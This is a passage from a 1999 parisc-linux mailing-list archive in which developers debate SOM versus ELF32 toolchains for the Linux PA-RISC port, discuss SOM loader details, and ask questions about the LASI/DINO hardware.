             <37624146.A7B5F0FE@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9535


  In message <37624146.A7B5F0FE@thepuffingroup.com>you write:
  > Jeffrey A Law wrote:
  > > 
  > 
  > <snip>
  > 
  > Okay, I can make that change, unless someone beats me to it.
Let me know if it helps.  That change is just an educated guess :-)


  > However, there's this time gap between now and when we actually have the
  > new toolchain from Cygnus.  During this time, the only thing that we
  > expect to work on is the kernel and bootloader.  Having just those two
  > components building with the current gcc and linker are important.
OK.  But note Cygnus is _NOT_ currently scheduled or contracted to provide a
32bit ELF toolchain.  Cygnus will be providing a 64bit ELF toolchain which
folks can use to derive much of the 32bit toolchain.
  > 
  > If we don't do it this way, the only toolchain we'll have is hosted on
  > HPUX, which I want to avoid if I possibly can.  The
  > fix-build-boot-restart cycle is muuuuch faster if you can cross compile
  > and netboot, particularly for those people who only have one HPUX
  > machine and slow connectivity to the HPUX box that HP has online for us.
I understand.  I'm still skeptical that you're going to end up burning
more time fighting those lame elf tools than you would by building with
SOM tools.

Of course, if you had two HP machines, then this is a non-issue :-)

jeff


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sat, 12 Jun 1999 15:15:28 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <23459.929222128@upchuck.cygnus.com>
References: <19990612213649.Y31472@mencheca.ch.genedata.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619638 12033 80.91.229.3 (22 Nov 2014 01:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:18 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: law@upchuck.cygnus.com  Sat Jun 12 15:21:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA07127
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 15:21:00 -0600
Original-Received: (qmail 14260 invoked by uid 15267); 12 Jun 1999 21:20:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14244 invoked from network); 12 Jun 1999 21:20:55 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 21:20:55 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id PAA23462;
	Sat, 12 Jun 1999 15:15:29 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 12 Jun 1999 21:36:49 +0200.
             <19990612213649.Y31472@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9536


  In message <19990612213649.Y31472@mencheca.ch.genedata.com>you write:
  > Yes, if you really want to support SOM properly and follow the spec.
  > It probably isn't if you want to just deal with what actually exists in
  > the world.  If you look at page 6-125 of the `32-bit PA-RISC Run-Time
  > Architecture Document 11.0 Version 1.0', it says that all conforming
  > executable SOM files must have the `exec auxiliary header (also known as
  > the HP-UX header with Hewlett-Packard)'.
The headers are the easy part.  Really.  It's the relocations that are such
a bear.


  > So in the binfmt_som loader I take this opportunity to ignore the
  > wonderfully flexible and expressive structure that is contained in the SOM
  > file format and just map the text, data and bss segments from the file.
  > I imagine that a SOM linker which did just enough to get a kernel up
  > and running would not be too hard to write.  On the other hand, I can
  > think of a dozen more interesting and productive things to do.
If you look at the SOM exec aux header, it effectively gives you the old
traditional text, data, bss.   That's its purpose in life -- to glom together
all the readonly loadable things into ".text", read-write initialized into
".data" and everything else into .bss.   The ELF folks in the crowd will
recognize this as the program vs object viewpoints of an ELF file.


While "just a kernel linker" does simplify things (no need for shared libraries
and the shitloads of stubs they involve), you've still got a large, nontrivial
project on your hands.  It would *still* be easier to sit down and rewrite the
elf32 tools than to do a kernel-only SOM linker.

If you're really sadistic, look at the way calls relocs are handled.



jeff


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] It's finally sunk in: bye bye elf32
Date: Sat, 12 Jun 1999 20:01:02 -0400
Organization: The Puffin Group
Lines: 42
Approved: news@gmane.org
Message-ID: <3762F4BE.C09B5CA9@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619639 12034 80.91.229.3 (22 Nov 2014 01:27:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sat Jun 12 17:53:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA07456
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 17:53:32 -0600
Original-Received: (qmail 27550 invoked by uid 15267); 12 Jun 1999 23:53:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27543 invoked from network); 12 Jun 1999 23:53:26 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 12 Jun 1999 23:53:26 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id UAA10721
	for <parisc-linux@thepuffingroup.com>; Sat, 12 Jun 1999 20:01:06 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9537


Over the last week I've really spent a lot of time trying to get the
kernel to build and boot when crosss compiled from i386. This meant
using the existing broken elf32 implementation.

This was only to be a temporary solution until at some point we got a
proper ELF64 implementation from Cygnus, which we'd then fold back into
ELF32.  That's a long way off though, and it's important to move forward
on this port.

It's quite possible that we could have fixed up the broken elf32
implementation enough to build our kernel and bootloader, but the worry
is that there's a risk that it's going to be a huge pain.

So, I'm going to do an about face and change my mind completely about
the som/elf32 situation.  So far, Matt Wilcox, Alan Cox, Jef Law and
Chris Beard all seem to agree.  I'm just a bit slow in jumping on board.

There's two reasons I'm changing my mind somewhat suddenly:

- I had really bad nightmares last night about having to fix the broken
elf32 implementation, which I really don't understand, which would be
dumped later down the road, and for which there's a supported
implementation on HPUX.

- I spent the entire day building a deck in the sun; it made me come to
my senses and realize that I'd been arguing some of this because it's
the assumption I'd done my existing work on. It's sometimes difficult to
tear yourself away from the details of the problem and look at the
bigger picture.

So, I'm going to spend some time making the kernel build on HPUX.  I
know there's quite a few changes to make.  But I'll keep the elf
specific work, it'll help later on.

- Alex




- Alex


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binfmt_som
Date: Sun, 13 Jun 1999 03:52:54 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <19990613035254.D31472@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619639 12039 80.91.229.3 (22 Nov 2014 01:27:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sat Jun 12 19:53:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA07875
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Jun 1999 19:53:02 -0600
Original-Received: (qmail 5015 invoked by uid 15267); 13 Jun 1999 01:52:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5008 invoked from network); 13 Jun 1999 01:52:55 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 13 Jun 1999 01:52:55 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id DAA06395
	for <parisc-linux@thepuffingroup.com>; Sun, 13 Jun 1999 03:52:56 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id DAA1407882
	for <parisc-linux@thepuffingroup.com>; Sun, 13 Jun 1999 03:52:55 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10szSA-0002JoC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sun, 13 Jun 1999 03:52:54 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9538


I plunged further into the binfmt_* files today and have a fair idea what needs to be done next.  One passage is slightly troubling me (page 6-126 of the
runtime arch document),

``exec_dsize
This field specifies the size in bytes of the initialised data (does
not have to be a multiple of 4k).  The actual size of the data section
in the file must be a multiple of 4k and can be padded with zeroes to
make it a multiple of 4k.''

Does this mean in the case where exec_dsize is not a multiple of 4k, it
MUST be padded with zeroes, or merely might be padded with zeroes?  If the
former, I don't need to zero them myself in the loader which would be nice.

Also, where does the bss section start?  Is it immediately after the
initialised data or at the next page boundary after it?

binfmt_som is going to be the cleanest binfmt in the kernel when I'm
finished with it :-)  [and then I'm going to clean up the others.]

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binfmt_som
Date: Sun, 13 Jun 1999 00:40:06 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <24471.929256006@upchuck.cygnus.com>
References: <19990613035254.D31472@mencheca.ch.genedata.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619639 12041 80.91.229.3 (22 Nov 2014 01:27:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: law@upchuck.cygnus.com  Sun Jun 13 00:45:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA08541
	for <parisc-linux@puffin.external.hp.com>; Sun, 13 Jun 1999 00:45:19 -0600
Original-Received: (qmail 29498 invoked by uid 15267); 13 Jun 1999 06:45:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29490 invoked from network); 13 Jun 1999 06:45:12 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 13 Jun 1999 06:45:12 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id AAA24474;
	Sun, 13 Jun 1999 00:40:06 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sun, 13 Jun 1999 03:52:54 +0200.
             <19990613035254.D31472@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9539


  In message <19990613035254.D31472@mencheca.ch.genedata.com>you write:
  > ``exec_dsize
  > This field specifies the size in bytes of the initialised data (does
  > not have to be a multiple of 4k).  The actual size of the data section
  > in the file must be a multiple of 4k and can be padded with zeroes to
  > make it a multiple of 4k.''
  > 
  > Does this mean in the case where exec_dsize is not a multiple of 4k, it
  > MUST be padded with zeroes, or merely might be padded with zeroes?  If the
  > former, I don't need to zero them myself in the loader which would be nice.
Strictly reading the size in the file is guaranteed to be a multiple of 4k,
but you can't necessarily depend on the pad being zero filled.

However, HP's linker always zero pads.

  > Also, where does the bss section start?  Is it immediately after the
  > initialised data or at the next page boundary after it?
It beings immediately after the initialized data.  Note that HP's linker will
decrease the size of the bss space by the amount of pad needed to fill out the
data space's size to a multiple of 4k.  This saves a little bit of memory in
the resident image.  Note this is only possible when the pad is zero filled.

To the best of my knowledge this behavior is not documented by HP anywhere.  It
is documented in bfd/som.c, as are many of SOM's wonderful quirks.  Search for
exec_header.

In case you're wondering why BFD has to know about this -- consider strip and
objcopy.  If you muck up an executable with those programs BFD has to be
able to recreate the exec header based on the sections that will exist in the
final output file.

jeff


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] It's finally sunk in: bye bye elf32
Date: Sun, 13 Jun 1999 13:02:58 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <199906131702.NAA28988@hiauly1.hia.nrc.ca>
References: <3762F4BE.C09B5CA9@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619640 12043 80.91.229.3 (22 Nov 2014 01:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Jun 13 11:03:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA10202
	for <parisc-linux@puffin.external.hp.com>; Sun, 13 Jun 1999 11:03:01 -0600
Original-Received: (qmail 3382 invoked by uid 15267); 13 Jun 1999 17:02:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3368 invoked from network); 13 Jun 1999 17:02:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 13 Jun 1999 17:02:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA28988;
	Sun, 13 Jun 1999 13:02:58 -0400 (EDT)
In-Reply-To: <3762F4BE.C09B5CA9@thepuffingroup.com> from "Alex deVries" at Jun 12, 99 08:01:02 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9540

> So, I'm going to spend some time making the kernel build on HPUX.  I
> know there's quite a few changes to make.  But I'll keep the elf
> specific work, it'll help later on.

The discussion about the merits/limitations of SOM and ELF over the
last couple of days has been extremely useful.  As Alex says, there is
a lot of work to be done on the kernel before it is usable.  However,
in the long run, the port must be a complete self contained system.
That is, it must support a linker capable of generating executables
and the kernel.

The concensis is that writing a SOM linker is a major project.  Another
option might be to approach HP and see if they would consider putting
the source code for their SOM linker into the public domain, or possibly
supplying a static binary version of the linker that could be distributed.
I would suggest that Alex discuss the matter with his contact at HP.

If this does not work out, then we must fall back to ELF32 and devote
enough effort to get elf32-hppa working at an acceptable level.  Jeff
Law is the world expert on the hp version of these tools.  However, Jeff
is very busy with gcc.  Any volunteers?  Obviously, this needs to be
coordinated with the maintainers of binutils and Cygnus.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sun, 13 Jun 1999 15:10:57 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <199906131910.PAA06530@hiauly1.hia.nrc.ca>
References: <22030.929169143@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619640 12045 80.91.229.3 (22 Nov 2014 01:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:20 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Jun 13 13:11:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA10571
	for <parisc-linux@puffin.external.hp.com>; Sun, 13 Jun 1999 13:11:01 -0600
Original-Received: (qmail 13853 invoked by uid 15267); 13 Jun 1999 19:10:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13843 invoked from network); 13 Jun 1999 19:10:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 13 Jun 1999 19:10:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA06530;
	Sun, 13 Jun 1999 15:10:57 -0400 (EDT)
In-Reply-To: <22030.929169143@upchuck.cygnus.com> from "Jeffrey A Law" at Jun 12, 99 00:32:23 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9541

> Anyway I think you may be able to fix this bug by changing the subseg_force_new
> call to look something like:
> 
>   subseg_force_new (alias ? alias : ss_name, 0);

Just to through a little "gas" on the discussion, I installed Jeff's
patch and rebuilt.  The patch sucessfully merges $CODE$ into .text.

Here are the kernel headers:

vmlinux:     file format elf32-hppa

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         000759b0  00008000  00008000  00001000  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         0000f260  0007d9b0  0007d9b0  000769b0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          0001ac6c  0008e000  0008e000  00086000  2**4
                  ALLOC
  3 .PARISC.unwind 00006be0  000a8c6c  000a8c6c  00086000  2**0
                  CONTENTS
  4 .PARISC.symext 00000000  000af84c  000af84c  0008cbe0  2**2
                  CONTENTS

Here are the headers for ipl linked with "-Ttext800 -N":

ipl:     file format elf32-hppa

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         000028a0  00000800  00000800  00000080  2**4
                  CONTENTS, ALLOC, LOAD, CODE
  1 .data         000064a8  00004000  00004000  00003880  2**12
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          0000115c  00010950  00010950  00009d28  2**3
                  ALLOC
  3 .PARISC.unwind 000000c0  00011aac  00011aac  00009d28  2**0
                  CONTENTS
  4 .PARISC.symext 00000000  00011b6c  00011b6c  00009de8  2**2
                  CONTENTS

I think that we are real close to being able to generate a bootable
kernel with the existing elf32 tools.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting problems
Date: Sun, 13 Jun 1999 20:17:40 -0400
Organization: The Puffin Group
Lines: 15
Approved: news@gmane.org
Message-ID: <37644A24.AFAE7B70@thepuffingroup.com>
References: <199906131910.PAA06530@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619640 12046 80.91.229.3 (22 Nov 2014 01:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:20 +0000 (UTC)
Cc: law@cygnus.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: adevries@thepuffingroup.com  Sun Jun 13 18:10:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA11035
	for <parisc-linux@puffin.external.hp.com>; Sun, 13 Jun 1999 18:10:02 -0600
Original-Received: (qmail 8158 invoked by uid 15267); 14 Jun 1999 00:09:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8150 invoked from network); 14 Jun 1999 00:09:52 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 00:09:52 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id UAA11485;
	Sun, 13 Jun 1999 20:17:40 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9542

John David Anglin wrote:
>
> 
> I think that we are real close to being able to generate a bootable
> kernel with the existing elf32 tools.
>

Okay, I'll give this one more try with my current setup and see what
happens...

In the meantime, I've started private talks with HP about the
possibility of releasing an HPUX ld cross compiler hosted on i386-linux.

- alex


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lasi/Dino/Interrupts
Date: Mon, 14 Jun 1999 01:30:46 +0100 (BST)
Lines: 28
Approved: news@gmane.org
Message-ID: <E10tKeG-0005Wl-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619641 12049 80.91.229.3 (22 Nov 2014 01:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Jun 13 18:31:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA11330
	for <parisc-linux@puffin.external.hp.com>; Sun, 13 Jun 1999 18:31:37 -0600
Original-Received: (qmail 10510 invoked by uid 15267); 14 Jun 1999 00:31:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10492 invoked from network); 14 Jun 1999 00:31:26 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 00:31:26 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10tKeG-0005Wl-00
	for parisc-linux@thepuffingroup.com; Mon, 14 Jun 1999 01:30:48 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9543

I've started putting together some basic code to drive LASI and DINO.
Some things aren't terribly clear however

1.	How much of LASI/DINO/PCI has been initialised by the boot firmware.
	Has it performed the PCI device configurations and assigned bus
	spaces for the devices ?

	Will the LASI devices be in reset state except for the console port
	(Im assuming lasi is driving the firmware console ?)

2.	It isnt totally clear from the docs what the input clock of the
	16550A macrocell is. I need that for the serial.c code obviously..

3.	The parallel port slave reset is at 102000 in the register map. The
	docs elsewhere say the parallel port DMA registers can be reset
	by writing to offset 10300 - should this be 102000 or 103000 - ie
	is the dma reset for the parallel seperate , and is it at the
	obvious place or really is one of the 8bit bus (flash) addresses

4.	Do I need to set bits in the I/O reset register back to 1 after
	a reset in order to bring them back active or is that automatic.

I have the irq handlers for LASI and DINO done. These will map the 
multiplexed irqs from these devices onto the linux "one irq space" model
presented to drivers.

Alan


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] It's finally sunk in: bye bye elf32
Date: Mon, 14 Jun 1999 00:29:34 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <26267.929341774@upchuck.cygnus.com>
References: <199906131702.NAA28988@hiauly1.hia.nrc.ca>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619641 12050 80.91.229.3 (22 Nov 2014 01:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:21 +0000 (UTC)
Cc: adevries@thepuffingroup.com (Alex deVries),
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Mon Jun 14 00:34:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA11932
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Jun 1999 00:34:50 -0600
Original-Received: (qmail 17401 invoked by uid 15267); 14 Jun 1999 06:34:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17391 invoked from network); 14 Jun 1999 06:34:39 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 14 Jun 1999 06:34:39 -0000
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id AAA26270;
	Mon, 14 Jun 1999 00:29:34 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sun, 13 Jun 1999 13:02:58 EDT.
             <199906131702.NAA28988@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:9544


  In message <199906131702.NAA28988@hiauly1.hia.nrc.ca>you write:
  > The concensis is that writing a SOM linker is a major project.  Another
  > option might be to approach HP and see if they would consider putting
  > the source code for their SOM linker into the public domain, or possibly
  > supplying a static binary version of the linker that could be distributed.
  > I would suggest that Alex discuss the matter with his contact at HP.
It's an option.  Probably not a bad one.  Though the HP linker's idea of
portability is marginal at best, so getting it running on another system is
no trivial effort.  But if HP is willing to do it and give y'all binaries,
then go for it.


  > If this does not work out, then we must fall back to ELF32 and devote
  > enough effort to get elf32-hppa working at an acceptable level.  Jeff
  > Law is the world expert on the hp version of these tools.  However, Jeff
  > is very busy with gcc.  Any volunteers?  Obviously, this needs to be
  > coordinated with the maintainers of binutils and Cygnus.
I would strongly recommend against any serious work at trying to make the
existing elf32-hppa.c work -- start over from scratch with the spec at your
side.  There is almost no salvageable code in elf32-hppa.c.

If someone has an interest in working on a rewrite I would strongly encourage
them to contact me so that we can work closely together and avoid useless
duplication of work since I'm working on elf64-hppa.c right now (which should
be able to share a bunch of code with elf32-hppa.c)

jeff


From - Thu Nov 08 21:15:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] It's finally sunk in: bye bye elf32
